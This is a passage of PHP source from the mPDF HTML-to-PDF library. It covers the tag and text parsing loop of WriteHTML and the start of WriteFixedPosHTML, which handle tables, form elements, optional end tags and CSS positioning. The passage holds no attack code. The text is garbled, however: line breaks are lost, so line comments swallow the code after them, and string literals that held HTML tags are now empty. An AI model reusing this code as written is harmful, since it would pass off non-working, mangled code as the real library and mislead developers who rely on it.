$html); $html = str_replace('', '|', $html); $html = str_replace('', '|', $html); $html = str_replace('', '|', $html); // Add new supported tags in the DisableTags function $html = strip_tags($html, $this->enabledtags); // remove all unsupported tags, but the ones inside the 'enabledtags' string // Explode the string in order to parse the HTML code $a = preg_split('/<(.*?)>/ms', $html, -1, PREG_SPLIT_DELIM_CAPTURE); // ? more accurate regexp that allows e.g.
// if changing - also change in fn.SubstituteChars() // $a = preg_split ('/<((?:[^<>]+(?:"[^"]*"|\'[^\']*\')?)+)>/ms', $html, -1, PREG_SPLIT_DELIM_CAPTURE); if ($this->mb_enc) { mb_internal_encoding($this->mb_enc); } $pbc = 0; $this->subPos = -1; $cnt = count($a); for ($i = 0; $i < $cnt; $i++) { $e = $a[$i]; if ($i % 2 == 0) { // TEXT if ($this->blk[$this->blklvl]['hide']) { continue; } if ($this->inlineDisplayOff) { continue; } if ($this->inMeter) { continue; } if ($this->inFixedPosBlock) { $this->fixedPosBlock .= $e; continue; } // *CSS-POSITION* if (strlen($e) == 0) { continue; } if ($this->ignorefollowingspaces && !$this->ispre) { if (strlen(ltrim($e)) == 0) { continue; } if ($this->FontFamily != 'csymbol' && $this->FontFamily != 'czapfdingbats' && substr($e, 0, 1) == ' ') { $this->ignorefollowingspaces = false; $e = ltrim($e); } } $this->OTLdata = null; // mPDF 5.7.1 $e = UtfString::strcode2utf($e); $e = $this->lesser_entity_decode($e); if ($this->usingCoreFont) { // If core font is selected in document which is not onlyCoreFonts - substitute with non-core font if ($this->useSubstitutions && !$this->onlyCoreFonts && $this->subPos < $i && !$this->specialcontent) { $cnt += $this->SubstituteCharsNonCore($a, $i, $e); } // CONVERT ENCODING $e = mb_convert_encoding($e, $this->mb_enc, 'UTF-8'); if ($this->textvar & TextVars::FT_UPPERCASE) { $e = mb_strtoupper($e, $this->mb_enc); } // mPDF 5.7.1 elseif ($this->textvar & TextVars::FT_LOWERCASE) { $e = mb_strtolower($e, $this->mb_enc); } // mPDF 5.7.1 elseif ($this->textvar & TextVars::FT_CAPITALIZE) { $e = mb_convert_case($e, MB_CASE_TITLE, "UTF-8"); } // mPDF 5.7.1 } else { if ($this->checkSIP && $this->CurrentFont['sipext'] && $this->subPos < $i && (!$this->specialcontent || !$this->useActiveForms)) { $cnt += $this->SubstituteCharsSIP($a, $i, $e); } if ($this->useSubstitutions && !$this->onlyCoreFonts && $this->CurrentFont['type'] != 'Type0' && $this->subPos < $i && (!$this->specialcontent || !$this->useActiveForms)) { $cnt += $this->SubstituteCharsMB($a, $i, $e); } if ($this->textvar & TextVars::FT_UPPERCASE) { $e = mb_strtoupper($e, $this->mb_enc); } elseif ($this->textvar & TextVars::FT_LOWERCASE) { $e = mb_strtolower($e, $this->mb_enc); } elseif ($this->textvar & TextVars::FT_CAPITALIZE) { $e = mb_convert_case($e, MB_CASE_TITLE, "UTF-8"); } /* -- OTL -- */ // Use OTL OpenType Table Layout - GSUB & GPOS if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL'] && (!$this->specialcontent || !$this->useActiveForms)) { if (!$this->otl) { $this->otl = new Otl($this, $this->fontCache); } $e = $this->otl->applyOTL($e, $this->CurrentFont['useOTL']); $this->OTLdata = $this->otl->OTLdata; $this->otl->removeChar($e, $this->OTLdata, "\xef\xbb\xbf"); // Remove ZWNBSP (also Byte order mark FEFF) } /* -- END OTL -- */ else { // removes U+200E/U+200F LTR and RTL mark and U+200C/U+200D Zero-width Joiner and Non-joiner $e = preg_replace("/[\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8e\xe2\x80\x8f]/u", '', $e); $e = preg_replace("/[\xef\xbb\xbf]/u", '', $e); // Remove ZWNBSP (also Byte order mark FEFF) } } if (($this->tts) || ($this->ttz) || ($this->tta)) { $es = explode('|', $e); $e = ''; foreach ($es as $val) { $e .= chr($val); } } // FORM ELEMENTS if ($this->specialcontent) { /* -- FORMS -- */ // SELECT tag (form element) if ($this->specialcontent == "type=select") { $e = ltrim($e); if (!empty($this->OTLdata)) { $this->otl->trimOTLdata($this->OTLdata, true, false); } // *OTL* $stringwidth = $this->GetStringWidth($e); if (!isset($this->selectoption['MAXWIDTH']) || $stringwidth > $this->selectoption['MAXWIDTH']) { $this->selectoption['MAXWIDTH'] = $stringwidth; } if (!isset($this->selectoption['SELECTED']) || $this->selectoption['SELECTED'] == '') { $this->selectoption['SELECTED'] = $e; if (!empty($this->OTLdata)) { $this->selectoption['SELECTED-OTLDATA'] = $this->OTLdata; } // *OTL* } // Active Forms if (isset($this->selectoption['ACTIVE']) && $this->selectoption['ACTIVE']) { $this->selectoption['ITEMS'][] = ['exportValue' => $this->selectoption['currentVAL'], 'content' => $e, 'selected' => $this->selectoption['currentSEL']]; } $this->OTLdata = []; } // TEXTAREA else { $objattr = unserialize($this->specialcontent); $objattr['text'] = $e; $objattr['OTLdata'] = $this->OTLdata; $this->OTLdata = []; $te = "\xbb\xa4\xactype=textarea,objattr=" . serialize($objattr) . "\xbb\xa4\xac"; if ($this->tdbegin) { $this->_saveCellTextBuffer($te, $this->HREF); } else { $this->_saveTextBuffer($te, $this->HREF); } } /* -- END FORMS -- */ } // TABLE elseif ($this->tableLevel) { /* -- TABLES -- */ if ($this->tdbegin) { if (($this->ignorefollowingspaces) && !$this->ispre) { $e = ltrim($e); if (!empty($this->OTLdata)) { $this->otl->trimOTLdata($this->OTLdata, true, false); } // *OTL* } if ($e || $e === '0') { if ($this->blockjustfinished && $this->cell[$this->row][$this->col]['s'] > 0) { $this->_saveCellTextBuffer("\n"); if (!isset($this->cell[$this->row][$this->col]['maxs'])) { $this->cell[$this->row][$this->col]['maxs'] = $this->cell[$this->row][$this->col]['s']; } elseif ($this->cell[$this->row][$this->col]['maxs'] < $this->cell[$this->row][$this->col]['s']) { $this->cell[$this->row][$this->col]['maxs'] = $this->cell[$this->row][$this->col]['s']; } $this->cell[$this->row][$this->col]['s'] = 0; // reset } $this->blockjustfinished = false; if (!isset($this->cell[$this->row][$this->col]['R']) || !$this->cell[$this->row][$this->col]['R']) { if (isset($this->cell[$this->row][$this->col]['s'])) { $this->cell[$this->row][$this->col]['s'] += $this->GetStringWidth($e, false, $this->OTLdata, $this->textvar); } else { $this->cell[$this->row][$this->col]['s'] = $this->GetStringWidth($e, false, $this->OTLdata, $this->textvar); } if (!empty($this->spanborddet)) { $this->cell[$this->row][$this->col]['s'] += (isset($this->spanborddet['L']['w']) ? $this->spanborddet['L']['w'] : 0) + (isset($this->spanborddet['R']['w']) ? $this->spanborddet['R']['w'] : 0); } } $this->_saveCellTextBuffer($e, $this->HREF); if (substr($this->cell[$this->row][$this->col]['a'], 0, 1) == 'D') { $dp = $this->decimal_align[substr($this->cell[$this->row][$this->col]['a'], 0, 2)]; $s = preg_split('/' . preg_quote($dp, '/') . '/', $e, 2); // ? needs to be /u if not core $s0 = $this->GetStringWidth($s[0], false); if (isset($s[1]) && $s[1]) { $s1 = $this->GetStringWidth(($s[1] . $dp), false); } else { $s1 = 0; } if (!isset($this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs0'])) { $this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs0'] = $s0; } else { $this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs0'] = max($s0, $this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs0']); } if (!isset($this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs1'])) { $this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs1'] = $s1; } else { $this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs1'] = max($s1, $this->table[$this->tableLevel][$this->tbctr[$this->tableLevel]]['decimal_align'][$this->col]['maxs1']); } } $this->nestedtablejustfinished = false; $this->linebreakjustfinished = false; } } /* -- END TABLES -- */ } // ALL ELSE else { if ($this->ignorefollowingspaces && !$this->ispre) { $e = ltrim($e); if (!empty($this->OTLdata)) { $this->otl->trimOTLdata($this->OTLdata, true, false); } // *OTL* } if ($e || $e === '0') { $this->_saveTextBuffer($e, $this->HREF); } } if ($e || $e === '0') { $this->ignorefollowingspaces = false; // mPDF 6 } if (substr($e, -1, 1) == ' ' && !$this->ispre && $this->FontFamily != 'csymbol' && $this->FontFamily != 'czapfdingbats') { $this->ignorefollowingspaces = true; } } else { // TAG ** if (isset($e[0]) && $e[0] == '/') { $endtag = trim(strtoupper(substr($e, 1))); /* -- CSS-POSITION -- */ // mPDF 6 if ($this->inFixedPosBlock) { if (in_array($endtag, $this->outerblocktags) || in_array($endtag, $this->innerblocktags)) { $this->fixedPosBlockDepth--; } if ($this->fixedPosBlockDepth == 0) { $this->fixedPosBlockSave[] = [$this->fixedPosBlock, $this->fixedPosBlockBBox, $this->page]; $this->fixedPosBlock = ''; $this->inFixedPosBlock = false; continue; } $this->fixedPosBlock .= '<' . $e . '>'; continue; } /* -- END CSS-POSITION -- */ // mPDF 6 // Correct for tags where HTML5 specifies optional end tags (see also OpenTag() ) if ($this->allow_html_optional_endtags && !$parseonly) { if (isset($this->blk[$this->blklvl]['tag'])) { $closed = false; // li end tag may be omitted if there is no more content in the parent element if (!$closed && $this->blk[$this->blklvl]['tag'] == 'LI' && $endtag != 'LI' && (in_array($endtag, $this->outerblocktags) || in_array($endtag, $this->innerblocktags))) { $this->tag->CloseTag('LI', $a, $i); $closed = true; } // dd end tag may be omitted if there is no more content in the parent element if (!$closed && $this->blk[$this->blklvl]['tag'] == 'DD' && $endtag != 'DD' && (in_array($endtag, $this->outerblocktags) || in_array($endtag, $this->innerblocktags))) { $this->tag->CloseTag('DD', $a, $i); $closed = true; } // p end tag may be omitted if there is no more content in the parent element and the parent element is not an A element [??????] if (!$closed && $this->blk[$this->blklvl]['tag'] == 'P' && $endtag != 'P' && (in_array($endtag, $this->outerblocktags) || in_array($endtag, $this->innerblocktags))) { $this->tag->CloseTag('P', $a, $i); $closed = true; } // option end tag may be omitted if there is no more content in the parent element if (!$closed && $this->blk[$this->blklvl]['tag'] == 'OPTION' && $endtag != 'OPTION' && (in_array($endtag, $this->outerblocktags) || in_array($endtag, $this->innerblocktags))) { $this->tag->CloseTag('OPTION', $a, $i); $closed = true; } } /* -- TABLES -- */ // Check for Table tags where HTML specifies optional end tags, if ($endtag == 'TABLE') { if ($this->lastoptionaltag == 'THEAD' || $this->lastoptionaltag == 'TBODY' || $this->lastoptionaltag == 'TFOOT') { $this->tag->CloseTag($this->lastoptionaltag, $a, $i); } if ($this->lastoptionaltag == 'TR') { $this->tag->CloseTag('TR', $a, $i); } if ($this->lastoptionaltag == 'TD' || $this->lastoptionaltag == 'TH') { $this->tag->CloseTag($this->lastoptionaltag, $a, $i); $this->tag->CloseTag('TR', $a, $i); } } if ($endtag == 'THEAD' || $endtag == 'TBODY' || $endtag == 'TFOOT') { if ($this->lastoptionaltag == 'TR') { $this->tag->CloseTag('TR', $a, $i); } if ($this->lastoptionaltag == 'TD' || $this->lastoptionaltag == 'TH') { $this->tag->CloseTag($this->lastoptionaltag, $a, $i); $this->tag->CloseTag('TR', $a, $i); } } if ($endtag == 'TR') { if ($this->lastoptionaltag == 'TD' || $this->lastoptionaltag == 'TH') { $this->tag->CloseTag($this->lastoptionaltag, $a, $i); } } /* -- END TABLES -- */ } // mPDF 6 if ($this->blk[$this->blklvl]['hide']) { if (in_array($endtag, $this->outerblocktags) || in_array($endtag, $this->innerblocktags)) { unset($this->blk[$this->blklvl]); $this->blklvl--; } continue; } // mPDF 6 $this->tag->CloseTag($endtag, $a, $i); // mPDF 6 } else { // OPENING TAG if ($this->blk[$this->blklvl]['hide']) { if (strpos($e, ' ')) { $te = strtoupper(substr($e, 0, strpos($e, ' '))); } else { $te = strtoupper($e); } // mPDF 6 if ($te == 'THEAD' || $te == 'TBODY' || $te == 'TFOOT' || $te == 'TR' || $te == 'TD' || $te == 'TH') { $this->lastoptionaltag = $te; } if (in_array($te, $this->outerblocktags) || in_array($te, $this->innerblocktags)) { $this->blklvl++; $this->blk[$this->blklvl]['hide'] = true; $this->blk[$this->blklvl]['tag'] = $te; // mPDF 6 } continue; } /* -- CSS-POSITION -- */ if ($this->inFixedPosBlock) { if (strpos($e, ' ')) { $te = strtoupper(substr($e, 0, strpos($e, ' '))); } else { $te = strtoupper($e); } $this->fixedPosBlock .= '<' . $e . '>'; if (in_array($te, $this->outerblocktags) || in_array($te, $this->innerblocktags)) { $this->fixedPosBlockDepth++; } continue; } /* -- END CSS-POSITION -- */ $regexp = '|=\'(.*?)\'|s'; // eliminate single quotes, if any $e = preg_replace($regexp, "=\"\$1\"", $e); // changes anykey=anyvalue to anykey="anyvalue" (only do this inside [some] tags) if (substr($e, 0, 10) != 'pageheader' && substr($e, 0, 10) != 'pagefooter' && substr($e, 0, 12) != 'tocpagebreak' && substr($e, 0, 10) != 'indexentry' && substr($e, 0, 8) != 'tocentry') { // mPDF 6 (ZZZ99H) $regexp = '| (\\w+?)=([^\\s>"]+)|si'; $e = preg_replace($regexp, " \$1=\"\$2\"", $e); } $e = preg_replace('/ (\\S+?)\s*=\s*"/i', " \\1=\"", $e); // Fix path values, if needed $orig_srcpath = ''; if ((stristr($e, "href=") !== false) or ( stristr($e, "src=") !== false)) { $regexp = '/ (href|src)\s*=\s*"(.*?)"/i'; preg_match($regexp, $e, $auxiliararray); if (isset($auxiliararray[2])) { $path = $auxiliararray[2]; } else { $path = ''; } if (trim($path) != '' && !(stristr($e, "src=") !== false && substr($path, 0, 4) == 'var:') && substr($path, 0, 1) != '@') { $path = htmlspecialchars_decode($path); // mPDF 5.7.4 URLs $orig_srcpath = $path; $this->GetFullPath($path); $regexp = '/ (href|src)="(.*?)"/i'; $e = preg_replace($regexp, ' \\1="' . $path . '"', $e); } }//END of Fix path values // Extract attributes $contents = []; $contents1 = []; $contents2 = []; // Changed to allow style="background: url('bg.jpg')" // Changed to improve performance; maximum length of \S (attribute) = 16 // Increase allowed attribute name to 32 - cutting off "toc-even-header-name" etc. preg_match_all('/\\S{1,32}=["][^"]*["]/', $e, $contents1); preg_match_all('/\\S{1,32}=[\'][^\']*[\']/i', $e, $contents2); $contents = array_merge($contents1, $contents2); preg_match('/\\S+/', $e, $a2); $tag = (isset($a2[0]) ? strtoupper($a2[0]) : ''); $attr = []; if ($orig_srcpath) { $attr['ORIG_SRC'] = $orig_srcpath; } if (!empty($contents)) { foreach ($contents[0] as $v) { // Changed to allow style="background: url('bg.jpg')" if (preg_match('/^([^=]*)=["]?([^"]*)["]?$/', $v, $a3) || preg_match('/^([^=]*)=[\']?([^\']*)[\']?$/', $v, $a3)) { if (strtoupper($a3[1]) == 'ID' || strtoupper($a3[1]) == 'CLASS') { // 4.2.013 Omits STYLE $attr[strtoupper($a3[1])] = trim(strtoupper($a3[2])); } // includes header-style-right etc. used for elseif (preg_match('/^(HEADER|FOOTER)-STYLE/i', $a3[1])) { $attr[strtoupper($a3[1])] = trim(strtoupper($a3[2])); } else { $attr[strtoupper($a3[1])] = trim($a3[2]); } } } } $this->tag->OpenTag($tag, $attr, $a, $i); // mPDF 6 /* -- CSS-POSITION -- */ if ($this->inFixedPosBlock) { $this->fixedPosBlockBBox = [$tag, $attr, $this->x, $this->y]; $this->fixedPosBlock = ''; $this->fixedPosBlockDepth = 1; } /* -- END CSS-POSITION -- */ if (preg_match('/\/$/', $e)) { $this->tag->CloseTag($tag, $a, $i); } } } // end TAG } // end of foreach($a as $i=>$e) if ($close) { // Close any open block tags for ($b = $this->blklvl; $b > 0; $b--) { $this->tag->CloseTag($this->blk[$b]['tag'], $a, $i); } // Output any text left in buffer if (count($this->textbuffer) && !$parseonly) { $this->printbuffer($this->textbuffer); } if (!$parseonly) { $this->textbuffer = []; } /* -- CSS-FLOAT -- */ // If ended with a float, need to move to end page $currpos = $this->page * 1000 + $this->y; if (isset($this->blk[$this->blklvl]['float_endpos']) && $this->blk[$this->blklvl]['float_endpos'] > $currpos) { $old_page = $this->page; $new_page = intval($this->blk[$this->blklvl]['float_endpos'] / 1000); if ($old_page != $new_page) { $s = $this->PrintPageBackgrounds(); // Writes after the marker so not overwritten later by page background etc. $this->pages[$this->page] = preg_replace('/(___BACKGROUND___PATTERNS' . $this->uniqstr . ')/', '\\1' . "\n" . $s . "\n", $this->pages[$this->page]); $this->pageBackgrounds = []; $this->page = $new_page; $this->ResetMargins(); $this->Reset(); $this->pageoutput[$this->page] = []; } $this->y = (($this->blk[$this->blklvl]['float_endpos'] * 1000) % 1000000) / 1000; // mod changes operands to integers before processing } /* -- END CSS-FLOAT -- */ /* -- CSS-IMAGE-FLOAT -- */ $this->printfloatbuffer(); /* -- END CSS-IMAGE-FLOAT -- */ // Create Internal Links, if needed if (!empty($this->internallink)) { foreach ($this->internallink as $k => $v) { if (strpos($k, "#") !== false) { continue; } if (!is_array($v)) { continue; } $ypos = $v['Y']; $pagenum = $v['PAGE']; $sharp = "#"; while (array_key_exists($sharp . $k, $this->internallink)) { $internallink = $this->internallink[$sharp . $k]; $this->SetLink($internallink, $ypos, $pagenum); $sharp .= "#"; } } } $this->bufferoutput = false; /* -- CSS-POSITION -- */ if (count($this->fixedPosBlockSave)) { foreach ($this->fixedPosBlockSave as $fpbs) { $old_page = $this->page; $this->page = $fpbs[2]; $this->WriteFixedPosHTML($fpbs[0], 0, 0, 100, 100, 'auto', $fpbs[1]); // 0,0,10,10 are overwritten by bbox $this->page = $old_page; } $this->fixedPosBlockSave = []; } /* -- END CSS-POSITION -- */ } } /* -- CSS-POSITION -- */ function WriteFixedPosHTML($html, $x, $y, $w, $h, $overflow = 'visible', $bounding = []) { // $overflow can be 'hidden', 'visible' or 'auto' - 'auto' causes autofit to size // Annotations disabled - enabled in mPDF 5.0 // Links do work // Will always go on current page (or start Page 1 if required) // Probably INCOMPATIBLE WITH keep with table, columns etc. // Called externally or interally via
// When used internally, $x $y $w $h and $overflow are all overridden by $bounding $overflow = strtolower($overflow); if ($this->state == 0) { $this->AddPage($this->CurOrientation); } $save_y = $this->y; $save_x = $this->x; $this->fullImageHeight = $this->h; $save_cols = false; /* -- COLUMNS -- */ if ($this->ColActive) { $save_cols = true; $save_nbcol = $this->NbCol; // other values of gap and vAlign will not change by setting Columns off $this->SetColumns(0); } /* -- END COLUMNS -- */ $save_annots = $this->title2annots; // *ANNOTATIONS* $this->writingHTMLheader = true; // a FIX to stop pagebreaks etc. $this->writingHTMLfooter = true; $this->InFooter = true; // suppresses autopagebreaks $save_bgs = $this->pageBackgrounds; $checkinnerhtml = preg_replace('/\s/', '', $html); $rotate = 0; if ($w > $this->w) { $x = 0; $w = $this->w; } if ($h > $this->h) { $y = 0; $h = $this->h; } if ($x > $this->w) { $x = $this->w - $w; } if ($y > $this->h) { $y = $this->h - $h; } if (!empty($bounding)) { // $cont_ containing block = full physical page (position: absolute) or page inside margins (position: fixed) // $bbox_ Bounding box is the
which is positioned absolutely/fixed // top/left/right/bottom/width/height/background*/border*/padding*/margin* are taken from bounding // font*[family/size/style/weight]/line-height/text*[align/decoration/transform/indent]/color are transferred to $inner // as an enclosing
(after having checked ID/CLASS) // $x, $y, $w, $h are inside of $bbox_ = containing box for $inner_ // $inner_ InnerHTML is the contents of that block to be output $tag = $bounding[0]; $attr = $bounding[1]; $orig_x0 = $bounding[2]; $orig_y0 = $bounding[3]; // As in WriteHTML() initialising $this->blklvl = 0; $this->lastblocklevelchange = 0; $this->blk = []; $this->initialiseBlock($this->blk[0]); $this->blk[0]['width'] = & $this->pgwidth; $this->blk[0]['inner_width'] = & $this->pgwidth; $this->blk[0]['blockContext'] = $this->blockContext; $properties = $this->cssManager->MergeCSS('BLOCK', 'BODY', ''); $this->setCSS($properties, '', 'BODY'); $this->blklvl = 1; $this->initialiseBlock($this->blk[1]); $this->blk[1]['tag'] = $tag; $this->blk[1]['attr'] = $attr; $this->Reset(); $p = $this->cssManager->MergeCSS('BLOCK', $tag, $attr); if (isset($p['ROTATE']) && ($p['ROTATE'] == 90 || $p['ROTATE'] == -90 || $p['ROTATE'] == 180)) { $rotate = $p['ROTATE']; } // mPDF 6 if (isset($p['OVERFLOW'])) { $overflow = strtolower($p['OVERFLOW']); } if (strtolower($p['POSITION']) == 'fixed') { $cont_w = $this->pgwidth; // $this->blk[0]['inner_width']; $cont_h = $this->h - $this->tMargin - $this->bMargin; $cont_x = $this->lMargin; $cont_y = $this->tMargin; } else { $cont_w = $this->w; // ABSOLUTE; $cont_h = $this->h; $cont_x = 0; $cont_y = 0; } // Pass on in-line properties to the innerhtml $css = ''; if (isset($p['TEXT-ALIGN'])) { $css .= 'text-align: ' . strtolower($p['TEXT-ALIGN']) . '; '; } if (isset($p['TEXT-TRANSFORM'])) { $css .= 'text-transform: ' . strtolower($p['TEXT-TRANSFORM']) . '; '; } if (isset($p['TEXT-INDENT'])) { $css .= 'text-indent: ' . strtolower($p['TEXT-INDENT']) . '; '; } if (isset($p['TEXT-DECORATION'])) { $css .= 'text-decoration: ' . strtolower($p['TEXT-DECORATION']) . '; '; } if (isset($p['FONT-FAMILY'])) { $css .= 'font-family: ' . strtolower($p['FONT-FAMILY']) . '; '; } if (isset($p['FONT-STYLE'])) { $css .= 'font-style: ' . strtolower($p['FONT-STYLE']) . '; '; } if (isset($p['FONT-WEIGHT'])) { $css .= 'font-weight: ' . strtolower($p['FONT-WEIGHT']) . '; '; } if (isset($p['FONT-SIZE'])) { $css .= 'font-size: ' . strtolower($p['FONT-SIZE']) . '; '; } if (isset($p['LINE-HEIGHT'])) { $css .= 'line-height: ' . strtolower($p['LINE-HEIGHT']) . '; '; } if (isset($p['TEXT-SHADOW'])) { $css .= 'text-shadow: ' . strtolower($p['TEXT-SHADOW']) . '; '; } if (isset($p['LETTER-SPACING'])) { $css .= 'letter-spacing: ' . strtolower($p['LETTER-SPACING']) . '; '; } // mPDF 6 if (isset($p['FONT-VARIANT-POSITION'])) { $css .= 'font-variant-position: ' . strtolower($p['FONT-VARIANT-POSITION']) . '; '; } if (isset($p['FONT-VARIANT-CAPS'])) { $css .= 'font-variant-caps: ' . strtolower($p['FONT-VARIANT-CAPS']) . '; '; } if (isset($p['FONT-VARIANT-LIGATURES'])) { $css .= 'font-variant-ligatures: ' . strtolower($p['FONT-VARIANT-LIGATURES']) . '; '; } if (isset($p['FONT-VARIANT-NUMERIC'])) { $css .= 'font-variant-numeric: ' . strtolower($p['FONT-VARIANT-NUMERIC']) . '; '; } if (isset($p['FONT-VARIANT-ALTERNATES'])) { $css .= 'font-variant-alternates: ' . strtolower($p['FONT-VARIANT-ALTERNATES']) . '; '; } if (isset($p['FONT-FEATURE-SETTINGS'])) { $css .= 'font-feature-settings: ' . strtolower($p['FONT-FEATURE-SETTINGS']) . '; '; } if (isset($p['FONT-LANGUAGE-OVERRIDE'])) { $css .= 'font-language-override: ' . strtolower($p['FONT-LANGUAGE-OVERRIDE']) . '; '; } if (isset($p['FONT-KERNING'])) { $css .= 'font-kerning: ' . strtolower($p['FONT-KERNING']) . '; '; } if (isset($p['COLOR'])) { $css .= 'color: ' . strtolower($p['COLOR']) . '; '; } if (isset($p['Z-INDEX'])) { $css .= 'z-index: ' . $p['Z-INDEX'] . '; '; } if ($css) { $html = '
' . $html . '
'; } // Copy over (only) the properties to set for border and background $pb = []; $pb['MARGIN-TOP'] = (isset($p['MARGIN-TOP']) ? $p['MARGIN-TOP'] : ''); $pb['MARGIN-RIGHT'] = (isset($p['MARGIN-RIGHT']) ? $p['MARGIN-RIGHT'] : ''); $pb['MARGIN-BOTTOM'] = (isset($p['MARGIN-BOTTOM']) ? $p['MARGIN-BOTTOM'] : ''); $pb['MARGIN-LEFT'] = (isset($p['MARGIN-LEFT']) ? $p['MARGIN-LEFT'] : ''); $pb['PADDING-TOP'] = (isset($p['PADDING-TOP']) ? $p['PADDING-TOP'] : ''); $pb['PADDING-RIGHT'] = (isset($p['PADDING-RIGHT']) ? $p['PADDING-RIGHT'] : ''); $pb['PADDING-BOTTOM'] = (isset($p['PADDING-BOTTOM']) ? $p['PADDING-BOTTOM'] : ''); $pb['PADDING-LEFT'] = (isset($p['PADDING-LEFT']) ? $p['PADDING-LEFT'] : ''); $pb['BORDER-TOP'] = (isset($p['BORDER-TOP']) ? $p['BORDER-TOP'] : ''); $pb['BORDER-RIGHT'] = (isset($p['BORDER-RIGHT']) ? $p['BORDER-RIGHT'] : ''); $pb['BORDER-BOTTOM'] = (isset($p['BORDER-BOTTOM']) ? $p['BORDER-BOTTOM'] : ''); $pb['BORDER-LEFT'] = (isset($p['BORDER-LEFT']) ? $p['BORDER-LEFT'] : ''); if (isset($p['BORDER-TOP-LEFT-RADIUS-H'])) { $pb['BORDER-TOP-LEFT-RADIUS-H'] = $p['BORDER-TOP-LEFT-RADIUS-H']; } if (isset($p['BORDER-TOP-LEFT-RADIUS-V'])) { $pb['BORDER-TOP-LEFT-RADIUS-V'] = $p['BORDER-TOP-LEFT-RADIUS-V']; } if (isset($p['BORDER-TOP-RIGHT-RADIUS-H'])) { $pb['BORDER-TOP-RIGHT-RADIUS-H'] = $p['BORDER-TOP-RIGHT-RADIUS-H']; } if (isset($p['BORDER-TOP-RIGHT-RADIUS-V'])) { $pb['BORDER-TOP-RIGHT-RADIUS-V'] = $p['BORDER-TOP-RIGHT-RADIUS-V']; } if (isset($p['BORDER-BOTTOM-LEFT-RADIUS-H'])) { $pb['BORDER-BOTTOM-LEFT-RADIUS-H'] = $p['BORDER-BOTTOM-LEFT-RADIUS-H']; } if (isset($p['BORDER-BOTTOM-LEFT-RADIUS-V'])) { $pb['BORDER-BOTTOM-LEFT-RADIUS-V'] = $p['BORDER-BOTTOM-LEFT-RADIUS-V']; } if (isset($p['BORDER-BOTTOM-RIGHT-RADIUS-H'])) { $pb['BORDER-BOTTOM-RIGHT-RADIUS-H'] = $p['BORDER-BOTTOM-RIGHT-RADIUS-H']; } if (isset($p['BORDER-BOTTOM-RIGHT-RADIUS-V'])) { $pb['BORDER-BOTTOM-RIGHT-RADIUS-V'] = $p['BORDER-BOTTOM-RIGHT-RADIUS-V']; } if (isset($p['BACKGROUND-COLOR'])) { $pb['BACKGROUND-COLOR'] = $p['BACKGROUND-COLOR']; } if (isset($p['BOX-SHADOW'])) { $pb['BOX-SHADOW'] = $p['BOX-SHADOW']; } /* -- BACKGROUNDS -- */ if (isset($p['BACKGROUND-IMAGE'])) { $pb['BACKGROUND-IMAGE'] = $p['BACKGROUND-IMAGE']; } if (isset($p['BACKGROUND-IMAGE-RESIZE'])) { $pb['BACKGROUND-IMAGE-RESIZE'] = $p['BACKGROUND-IMAGE-RESIZE']; } if (isset($p['BACKGROUND-IMAGE-OPACITY'])) { $pb['BACKGROUND-IMAGE-OPACITY'] = $p['BACKGROUND-IMAGE-OPACITY']; } if (isset($p['BACKGROUND-REPEAT'])) { $pb['BACKGROUND-REPEAT'] = $p['BACKGROUND-REPEAT']; } if (isset($p['BACKGROUND-POSITION'])) { $pb['BACKGROUND-POSITION'] = $p['BACKGROUND-POSITION']; } if (isset($p['BACKGROUND-GRADIENT'])) { $pb['BACKGROUND-GRADIENT'] = $p['BACKGROUND-GRADIENT']; } if (isset($p['BACKGROUND-SIZE'])) { $pb['BACKGROUND-SIZE'] = $p['BACKGROUND-SIZE']; } if (isset($p['BACKGROUND-ORIGIN'])) { $pb['BACKGROUND-ORIGIN'] = $p['BACKGROUND-ORIGIN']; } if (isset($p['BACKGROUND-CLIP'])) { $pb['BACKGROUND-CLIP'] = $p['BACKGROUND-CLIP']; } /* -- END BACKGROUNDS -- */ $this->setCSS($pb, 'BLOCK', $tag); // ================================================================ $bbox_br = $this->blk[1]['border_right']['w']; $bbox_bl = $this->blk[1]['border_left']['w']; $bbox_bt = $this->blk[1]['border_top']['w']; $bbox_bb = $this->blk[1]['border_bottom']['w']; $bbox_pr = $this->blk[1]['padding_right']; $bbox_pl = $this->blk[1]['padding_left']; $bbox_pt = $this->blk[1]['padding_top']; $bbox_pb = $this->blk[1]['padding_bottom']; $bbox_mr = $this->blk[1]['margin_right']; if (isset($p['MARGIN-RIGHT']) && strtolower($p['MARGIN-RIGHT']) == 'auto') { $bbox_mr = 'auto'; } $bbox_ml = $this->blk[1]['margin_left']; if (isset($p['MARGIN-LEFT']) && strtolower($p['MARGIN-LEFT']) == 'auto') { $bbox_ml = 'auto'; } $bbox_mt = $this->blk[1]['margin_top']; if (isset($p['MARGIN-TOP']) && strtolower($p['MARGIN-TOP']) == 'auto') { $bbox_mt = 'auto'; } $bbox_mb = $this->blk[1]['margin_bottom']; if (isset($p['MARGIN-BOTTOM']) && strtolower($p['MARGIN-BOTTOM']) == 'auto') { $bbox_mb = 'auto'; } if (isset($p['LEFT']) && strtolower($p['LEFT']) != 'auto') { $bbox_left = $this->sizeConverter->convert($p['LEFT'], $cont_w, $this->FontSize, false); } else { $bbox_left = 'auto'; } if (isset($p['TOP']) && strtolower($p['TOP']) != 'auto') { $bbox_top = $this->sizeConverter->convert($p['TOP'], $cont_h, $this->FontSize, false); } else { $bbox_top = 'auto'; } if (isset($p['RIGHT']) && strtolower($p['RIGHT']) != 'auto') { $bbox_right = $this->sizeConverter->convert($p['RIGHT'], $cont_w, $this->FontSize, false); } else { $bbox_right = 'auto'; } if (isset($p['BOTTOM']) && strtolower($p['BOTTOM']) != 'auto') { $bbox_bottom = $this->sizeConverter->convert($p['BOTTOM'], $cont_h, $this->FontSize, false); } else { $bbox_bottom = 'auto'; } if (isset($p['WIDTH']) && strtolower($p['WIDTH']) != 'auto') { $inner_w = $this->sizeConverter->convert($p['WIDTH'], 